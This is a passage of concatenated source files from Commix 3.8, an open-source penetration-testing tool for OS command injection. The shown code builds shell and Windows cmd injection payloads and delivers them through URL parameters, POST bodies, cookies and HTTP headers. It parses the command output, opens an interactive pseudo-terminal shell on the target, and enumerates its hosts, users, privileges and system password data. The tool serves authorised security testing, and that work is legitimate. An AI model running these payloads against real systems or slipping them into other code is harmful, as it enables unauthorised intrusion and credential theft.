the_type = " parameter"
# Check if defined POST data
if not settings.USER_DEFINED_POST_DATA:
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
else:
checks.total_of_requests()
# Print the findings to terminal.
info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via "
info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "."
print(settings.print_bold_info_msg(info_msg))
sub_content = str(checks.url_decode(payload))
print(settings.print_sub_content(sub_content))
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level)
else:
whitespace = settings.WHITESPACES[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
new_line = True
if settings.ENUMERATION_DONE == True :
while True:
message = "Do you want to ignore stored session and enumerate again? [y/N] > "
enumerate_again = common.read_input(message, default="N", check_batch=True)
if enumerate_again in settings.CHOICE_YES:
if not menu.options.ignore_session:
menu.options.ignore_session = True
cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
break
elif enumerate_again in settings.CHOICE_NO:
new_line = False
break
elif enumerate_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(enumerate_again)
pass
else:
if menu.enumeration_options():
cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
while True:
message = "Do you want to ignore stored session and access files again? [y/N] > "
file_access_again = common.read_input(message, default="N", check_batch=True)
if file_access_again in settings.CHOICE_YES:
if not menu.options.ignore_session:
menu.options.ignore_session = True
cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(file_access_again)
pass
else:
if menu.file_access_options():
cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
# Check if defined single cmd.
if menu.options.os_cmd:
cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
# Pseudo-Terminal shell
try:
checks.alert()
go_back = False
go_back_again = False
while True :
if go_back == True:
break
message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
if settings.CRAWLING:
settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc)
if not settings.STDIN_PARSING:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
gotshell = common.read_input(message, default="n", check_batch=True)
if gotshell in settings.CHOICE_YES:
print(settings.OS_SHELL_TITLE)
if settings.READLINE_ERROR:
checks.no_readline_module()
while True:
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
sys.stdout.write(settings.OS_SHELL)
cmd = common.read_input(message="", default="os_shell", check_batch=True)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
# Command execution results.
time.sleep(timesec)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
try:
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
except:
print(settings.SINGLE_WHITESPACE)
continue
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell or shell != "":
shell = unescape(shell)
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, shell)
print(settings.command_execution_output(shell))
else:
err_msg = common.invalid_cmd_output(cmd)
print(settings.print_error_msg(err_msg))
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(gotshell)
pass
except (KeyboardInterrupt, SystemExit):
raise
except EOFError:
if settings.STDIN_PARSING:
print(settings.SINGLE_WHITESPACE)
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
raise
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()
"""
The exploitation function.
(call the injection handler)
"""
def exploitation(url, timesec, filename, http_request_method, injection_type, technique):
if cb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique) == False:
return False
# eof
commix-3.8/src/core/injections/results_based/techniques/classic/cb_injector.py 0000775 0000000 0000000 00000026670 14466364451 0030062 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import os
import sys
import time
import json
import string
import random
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.six.moves import html_parser as _html_parser
from src.utils import menu
from src.utils import settings
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.requests import tor
from src.core.requests import proxy
from src.core.requests import headers
from src.core.requests import requests
from src.core.requests import parameters
from src.core.injections.controller import checks
from src.core.injections.results_based.techniques.classic import cb_payloads
try:
import html
unescape = html.unescape
except: # Python 2
unescape = _html_parser.HTMLParser().unescape
"""
The "classic" technique on result-based OS command injection.
"""
"""
Check if target host is vulnerable.
"""
def injection_test(payload, http_request_method, url):
# Check if defined POST data
if not settings.USER_DEFINED_POST_DATA:
if settings.SINGLE_WHITESPACE in payload:
payload = replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE))
# Define the vulnerable parameter
vuln_parameter = parameters.vuln_GET_param(url)
target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(target)
# Check if defined extra headers.
headers.do_check(request)
# Get the response of the request.
response = requests.get_request_response(request)
# Check if defined method is POST.
else:
parameter = menu.options.data
#parameter = _urllib.parse.unquote(parameter)
# Check if its not specified the 'INJECT_HERE' tag
parameter = parameters.do_POST_check(parameter, http_request_method)
parameter = ''.join(str(e) for e in parameter).replace("+","%2B")
# Define the POST data
if settings.IS_JSON:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
try:
data = checks.json_data(data)
except ValueError:
pass
elif settings.IS_XML:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
else:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC))
# Check if defined extra headers.
headers.do_check(request)
# Define the vulnerable parameter
vuln_parameter = parameters.vuln_POST_param(parameter, url)
# Get the response of the request.
response = requests.get_request_response(request)
return response, vuln_parameter
"""
Evaluate test results.
"""
def injection_test_results(response, TAG, randvcalc):
if type(response) is bool and response != True or response is None:
return False
else:
# Check the execution results
html_data = checks.page_encoding(response, action="decode")
html_data = html_data.replace("\n",settings.SINGLE_WHITESPACE)
# cleanup string / unescape html to string
html_data = _urllib.parse.unquote(html_data)
html_data = unescape(html_data)
# Replace non-ASCII characters with a single space
re.sub(r"[^\x00-\x7f]",r" ", html_data)
if settings.SKIP_CALC:
shell = re.findall(r"" + TAG + TAG + TAG, html_data)
else:
shell = re.findall(r"" + TAG + str(randvcalc) + TAG + TAG, html_data)
if len(shell) > 1:
shell = shell[0]
return shell
"""
Check if target host is vulnerable. (Cookie-based injection)
"""
def cookie_injection_test(url, vuln_parameter, payload):
return requests.cookie_injection(url, vuln_parameter, payload)
"""
Check if target host is vulnerable. (User-Agent-based injection)
"""
def user_agent_injection_test(url, vuln_parameter, payload):
return requests.user_agent_injection(url, vuln_parameter, payload)
"""
Check if target host is vulnerable. (Referer-based injection)
"""
def referer_injection_test(url, vuln_parameter, payload):
return requests.referer_injection(url, vuln_parameter, payload)
"""
Check if target host is vulnerable. (Host-based injection)
"""
def host_injection_test(url, vuln_parameter, payload):
return requests.host_injection(url, vuln_parameter, payload)
"""
Check if target host is vulnerable. (Custom header injection)
"""
def custom_header_injection_test(url, vuln_parameter, payload):
return requests.custom_header_injection(url, vuln_parameter, payload)
"""
The main command injection exploitation.
"""
def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):
def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):
if alter_shell:
# Classic decision payload (check if host is vulnerable).
payload = cb_payloads.cmd_execution_alter_shell(separator, TAG, cmd)
else:
# Classic decision payload (check if host is vulnerable).
payload = cb_payloads.cmd_execution(separator, TAG, cmd)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Executing the '" + cmd + "' command. "
sys.stdout.write(settings.print_debug_msg(debug_msg))
sys.stdout.flush()
sys.stdout.write("\n" + settings.print_payload(payload) + "\n")
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
response = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
response = user_agent_injection_test(url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
response = referer_injection_test(url, vuln_parameter, payload)
# Check if defined host with "INJECT_HERE" tag
elif menu.options.host and settings.INJECT_TAG in menu.options.host:
response = host_injection_test(url, vuln_parameter, payload)
# Check if defined custom header with "INJECT_HERE" tag
elif settings.CUSTOM_HEADER_INJECTION:
response = custom_header_injection_test(url, vuln_parameter, payload)
else:
# Check if defined POST data
if not settings.USER_DEFINED_POST_DATA:
# Check if its not specified the 'INJECT_HERE' tag
#url = parameters.do_GET_check(url, http_request_method)
target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
vuln_parameter = ''.join(vuln_parameter)
request = _urllib.request.Request(target)
# Check if defined extra headers.
headers.do_check(request)
# Get the response of the request.
response = requests.get_request_response(request)
else :
# Check if defined method is POST.
parameter = menu.options.data
#parameter = _urllib.parse.unquote(parameter)
# Check if its not specified the 'INJECT_HERE' tag
parameter = parameters.do_POST_check(parameter, http_request_method)
parameter = ''.join(str(e) for e in parameter).replace("+","%2B")
# Define the POST data
if settings.IS_JSON:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
try:
data = checks.json_data(data)
except ValueError:
pass
elif settings.IS_XML:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
else:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC))
# Check if defined extra headers.
headers.do_check(request)
# Get the response of the request.
response = requests.get_request_response(request)
return response
# Do the injection check
response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
tries = 0
while not response:
if tries < (menu.options.failed_tries / 2):
response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
tries = tries + 1
else:
err_msg = "Something went wrong, the request has failed (" + str(tries) + ") times continuously."
sys.stdout.write(settings.print_critical_msg(err_msg)+"\n")
raise SystemExit()
return response
"""
The command execution results.
"""
def injection_results(response, TAG, cmd):
false_result = False
try:
# Grab execution results
html_data = checks.page_encoding(response, action="decode")
html_data = html_data.replace("\n",settings.SINGLE_WHITESPACE)
# cleanup string / unescape html to string
html_data = _urllib.parse.unquote(html_data)
html_data = unescape(html_data)
# Replace non-ASCII characters with a single space
re.sub(r"[^\x00-\x7f]",r" ", html_data)
for end_line in settings.END_LINE:
if end_line in html_data:
html_data = html_data.replace(end_line, settings.SINGLE_WHITESPACE)
break
shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + settings.SINGLE_WHITESPACE, html_data)
if not shell:
shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + "", html_data)
if not shell:
return shell
try:
if TAG in shell:
shell = re.findall(r"" + "(.*)" + TAG + TAG, shell)
# Clear junks
shell = [tags.replace(TAG + TAG , settings.SINGLE_WHITESPACE) for tags in shell]
shell = [backslash.replace("\/","/") for backslash in shell]
except UnicodeDecodeError:
pass
if settings.TARGET_OS == settings.OS.WINDOWS:
if menu.options.alter_shell:
shell = [right_space.rstrip() for right_space in shell]
shell = [left_space.lstrip() for left_space in shell]
if "<<<<" in shell[0]:
false_result = True
else:
if shell[0] == "%i" :
false_result = True
except AttributeError:
false_result = True
if false_result:
shell = ""
return shell
commix-3.8/src/core/injections/results_based/techniques/classic/cb_payloads.py 0000775 0000000 0000000 00000013040 14466364451 0030044 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.utils import settings
"""
The classic injection technique on Classic OS Command Injection.
The available "classic" payloads.
"""
"""
Classic decision payload (check if host is vulnerable).
"""
def decision(separator, TAG, randv1, randv2):
if settings.TARGET_OS == settings.OS.WINDOWS:
if settings.SKIP_CALC:
payload = (separator +
"echo " + TAG + TAG + TAG + settings.CMD_NUL
)
else:
payload = (separator +
"for /f \"tokens=*\" %i in ('cmd /c \"" +
"set /a (" + str(randv1) + "%2B" + str(randv2) + ")" +
"\"') do @set /p = " + TAG + "%i" + TAG + TAG + settings.CMD_NUL
)
else:
if not settings.WAF_ENABLED:
if settings.USE_BACKTICKS:
math_calc = "`expr " + str(randv1) + " %2B " + str(randv2) + "`"
else:
math_calc = "$((" + str(randv1) + "%2B" + str(randv2) + "))"
else:
if settings.USE_BACKTICKS:
math_calc = "`expr " + str(randv1) + " %2B " + str(randv2) + "`"
else:
math_calc = "$(expr " + str(randv1) + " %2B " + str(randv2) + ")"
if settings.SKIP_CALC:
if settings.USE_BACKTICKS:
payload = (separator +
"echo " + TAG +
TAG + "" + TAG + ""
)
else:
payload = (separator +
"echo " + TAG +
"$(echo " + TAG + ")" + TAG + ""
)
else:
if settings.USE_BACKTICKS:
payload = (separator +
"echo " + TAG +
math_calc +
TAG + "" + TAG + ""
)
else:
payload = (separator +
"echo " + TAG +
math_calc +
"$(echo " + TAG + ")" + TAG + ""
)
return payload
"""
__Warning__: The alternative shells are still experimental.
"""
def decision_alter_shell(separator, TAG, randv1, randv2):
if settings.TARGET_OS == settings.OS.WINDOWS:
if settings.SKIP_CALC:
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'" + TAG + "')\""
else:
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + TAG + "'%2B'" + TAG + "')\""
payload = (separator +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do @set /p=%i " + settings.CMD_NUL
)
else:
if settings.SKIP_CALC:
payload = (separator +
settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG +
TAG +
TAG + "')\""
)
else:
payload = (separator +
settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG +
"'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" +
TAG + "'%2B'" +
TAG + "')\""
)
return payload
"""
Execute shell commands on vulnerable host.
"""
def cmd_execution(separator, TAG, cmd):
if settings.TARGET_OS == settings.OS.WINDOWS:
if settings.REVERSE_TCP:
payload = (separator + cmd + settings.SINGLE_WHITESPACE
)
else:
payload = (separator +
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do @set /p = " + TAG + TAG + "%i" + TAG + TAG + settings.CMD_NUL
)
else:
settings.USER_SUPPLIED_CMD = cmd
if settings.USE_BACKTICKS:
cmd_exec = "`" + cmd + "`"
payload = (separator +
"echo " + TAG +
"" + TAG + "" +
cmd_exec +
"" + TAG + "" + TAG + ""
)
else:
cmd_exec = "$(" + cmd + ")"
payload = (separator +
"echo " + TAG +
"$(echo " + TAG + ")" +
cmd_exec +
"$(echo " + TAG + ")" + TAG + ""
)
return payload
"""
__Warning__: The alternative shells are still experimental.
"""
def cmd_execution_alter_shell(separator, TAG, cmd):
if settings.TARGET_OS == settings.OS.WINDOWS:
if settings.REVERSE_TCP:
payload = (separator + cmd + settings.SINGLE_WHITESPACE
)
else:
payload = (separator +
"for /f \"tokens=*\" %i in ('" +
settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('powershell.exe -InputFormat none write-host " + TAG + TAG + " $(" + cmd + ") "+ TAG + TAG + "')\"" +
"') do @set /p=%i " + settings.CMD_NUL
)
else:
if settings.USE_BACKTICKS:
payload = (separator +
settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'$(echo `" + cmd + ")`" + TAG + "'%2B'" + TAG + "')\""
)
else:
payload = (separator +
settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'$(echo $(" + cmd + "))'%2B'" + TAG + "'%2B'" + TAG + "')\""
)
return payload
# eof
commix-3.8/src/core/injections/results_based/techniques/eval_based/ 0000775 0000000 0000000 00000000000 14466364451 0025655 5 ustar 00root root 0000000 0000000 commix-3.8/src/core/injections/results_based/techniques/eval_based/__init__.py 0000664 0000000 0000000 00000000743 14466364451 0027772 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-3.8/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py 0000775 0000000 0000000 00000033562 14466364451 0031237 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import sys
from src.utils import logs
from src.utils import menu
from src.utils import settings
from src.utils import session_handler
from src.core.injections.controller import checks
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.requests import requests
from src.core.injections.results_based.techniques.eval_based import eb_injector
"""
The dynamic code evaluation (aka eval-based) technique.
"""
"""
Powershell's version number enumeration (for Windows OS)
"""
def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
_ = False
cmd = settings.PS_VERSION
if alter_shell:
cmd = checks.escape_single_quoted_cmd(cmd)
else:
cmd = cmd = checks.quoted_cmd(cmd)
# Evaluate injection results.
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
ps_version = eb_injector.injection_results(response, TAG, cmd)
ps_version = "".join(str(p) for p in ps_version)
session_handler.store_cmd(url, cmd, ps_version, vuln_parameter)
else:
ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_ps_version(ps_version, filename, _)
"""
Hostname enumeration
"""
def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
_ = False
if settings.TARGET_OS == settings.OS.WINDOWS:
settings.HOSTNAME = settings.WIN_HOSTNAME
cmd = settings.HOSTNAME
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_hostname(shell, filename, _)
"""
Retrieve system information
"""
def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
_ = False
if settings.TARGET_OS == settings.OS.WINDOWS:
settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
cmd = settings.RECOGNISE_OS
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
target_os = eb_injector.injection_results(response, TAG, cmd)
target_os = "".join(str(p) for p in target_os)
session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
else:
target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if target_os:
target_os = "".join(str(p) for p in target_os)
if settings.TARGET_OS != settings.OS.WINDOWS:
cmd = settings.DISTRO_INFO
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
distro_name = eb_injector.injection_results(response, TAG, cmd)
distro_name = "".join(str(p) for p in distro_name)
if len(distro_name) != 0:
target_os = target_os + settings.SINGLE_WHITESPACE + distro_name
session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
else:
target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.WIN_RECOGNISE_HP
else:
cmd = settings.RECOGNISE_HP
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
target_arch = eb_injector.injection_results(response, TAG, cmd)
target_arch = "".join(str(p) for p in target_arch)
session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
else:
target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_os_info(target_os, target_arch, filename, _)
"""
The current user enumeration
"""
def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
_ = False
cmd = settings.CURRENT_USER
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.WIN_CURRENT_USER
# cmd = cmd + settings.WIN_REPLACE_WHITESPACE
if alter_shell:
cmd = checks.escape_single_quoted_cmd(cmd)
else:
cmd = checks.quoted_cmd(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
cu_account = eb_injector.injection_results(response, TAG, cmd)
cu_account = "".join(str(p) for p in cu_account)
session_handler.store_cmd(url, cmd, cu_account, vuln_parameter)
else:
cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_current_user(cu_account, filename, _)
"""
Check if the current user has excessive privileges.
"""
def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
_ = False
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.IS_ADMIN
if not alter_shell:
cmd = cmd = checks.quoted_cmd(cmd)
else:
cmd = settings.IS_ROOT
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_current_user_privs(shell, filename, _)
"""
System users enumeration
"""
def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
_ = False
cmd = settings.EVAL_SYS_USERS
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.WIN_SYS_USERS
if alter_shell:
cmd = checks.escape_single_quoted_cmd(cmd)
else:
cmd = checks.quoted_cmd(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
sys_users = eb_injector.injection_results(response, TAG, cmd)
sys_users = "".join(str(p) for p in sys_users)
session_handler.store_cmd(url, cmd, sys_users, vuln_parameter)
else:
sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell)
"""
System passwords enumeration
"""
def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
_ = False
cmd = settings.SYS_PASSES
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
sys_passes = eb_injector.injection_results(response, TAG, cmd)
sys_passes = "".join(str(p) for p in sys_passes)
session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter)
else:
sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_passes(sys_passes, filename, _, alter_shell)
"""
Single os-shell execution
"""
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
cmd = menu.options.os_cmd
checks.print_enumenation().print_single_os_cmd_msg(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
